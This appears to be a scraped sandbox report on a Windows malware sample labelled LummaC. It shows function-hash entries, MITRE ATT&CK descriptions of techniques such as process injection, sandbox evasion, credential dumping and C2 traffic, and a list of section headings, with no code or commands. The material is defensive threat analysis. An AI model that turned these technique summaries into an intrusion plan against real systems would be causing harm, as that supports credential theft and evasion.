Snapshot File: hcaresult_0_3_5c4a000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7339180de749409b6e78cd69e07d4011b5f30c2ce3d7470074f6f1212e2ee123
Instruction ID: 7d73af1d5d8dc8d28b895158662c02766ab6b4a43b118965999bfdde263c80b1
Opcode Fuzzy Hash: 7339180de749409b6e78cd69e07d4011b5f30c2ce3d7470074f6f1212e2ee123
Instruction Fuzzy Hash: CAF17B6140E7C15FCB17C77049AA9A1BF61BE13214B0ECADFC4C58F8A3E3599946CB62

Function 05C4B80D Relevance: 1.1, Instructions: 1135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2211062295.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, Offset: 05C4A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5c4a000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7339180de749409b6e78cd69e07d4011b5f30c2ce3d7470074f6f1212e2ee123
Instruction ID: 7d73af1d5d8dc8d28b895158662c02766ab6b4a43b118965999bfdde263c80b1
Opcode Fuzzy Hash: 7339180de749409b6e78cd69e07d4011b5f30c2ce3d7470074f6f1212e2ee123
Instruction Fuzzy Hash: CAF17B6140E7C15FCB17C77049AA9A1BF61BE13214B0ECADFC4C58F8A3E3599946CB62

Function 05C4B9F0 Relevance: .9, Instructions: 861COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2211062295.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, Offset: 05C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5c4a000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aa6dac550ea11b4ea613ef2c398f9f63255332ce6d0ebc15b257dd39a99e090
Instruction ID: 1e94fdd054ec2c7346e0c62f14a6406b657aec669f5bed4f1fa54d8e52d6915c
Opcode Fuzzy Hash: 2aa6dac550ea11b4ea613ef2c398f9f63255332ce6d0ebc15b257dd39a99e090
Instruction Fuzzy Hash: 92C1BF6140E7C15FCB17C7708DA9AA1BFA0BE13214B0DCADFC4C54B8A3E3599846CB62

Function 05C4B9F0 Relevance: .9, Instructions: 861COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2211062295.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, Offset: 05C4A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5c4a000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aa6dac550ea11b4ea613ef2c398f9f63255332ce6d0ebc15b257dd39a99e090
Instruction ID: 1e94fdd054ec2c7346e0c62f14a6406b657aec669f5bed4f1fa54d8e52d6915c
Opcode Fuzzy Hash: 2aa6dac550ea11b4ea613ef2c398f9f63255332ce6d0ebc15b257dd39a99e090
Instruction Fuzzy Hash: 92C1BF6140E7C15FCB17C7708DA9AA1BFA0BE13214B0DCADFC4C54B8A3E3599846CB62

Function 05C4B4EC Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2211062295.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, Offset: 05C49000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5c4a000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbb46eeddcf609e389d4536a9b2e656146a54cdefffd85870267514ded395e6c
Instruction ID: 1581769b5baf63eb3a2b4bbc624ff71db570ed0495387ce5492ea4fd51be0a41
Opcode Fuzzy Hash: bbb46eeddcf609e389d4536a9b2e656146a54cdefffd85870267514ded395e6c
Instruction Fuzzy Hash: 0751037140E7C56FD70387709D22EA6BFB9EF43228B1A55DBD481CA0A3D6189C09CB72

Function 05C4B4EC Relevance: .5, Instructions: 473COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2211062295.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, Offset: 05C4A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5c4a000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbb46eeddcf609e389d4536a9b2e656146a54cdefffd85870267514ded395e6c
Instruction ID: 1581769b5baf63eb3a2b4bbc624ff71db570ed0495387ce5492ea4fd51be0a41
Opcode Fuzzy Hash: bbb46eeddcf609e389d4536a9b2e656146a54cdefffd85870267514ded395e6c
Instruction Fuzzy Hash: 0751037140E7C56FD70387709D22EA6BFB9EF43228B1A55DBD481CA0A3D6189C09CB72

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
file.exe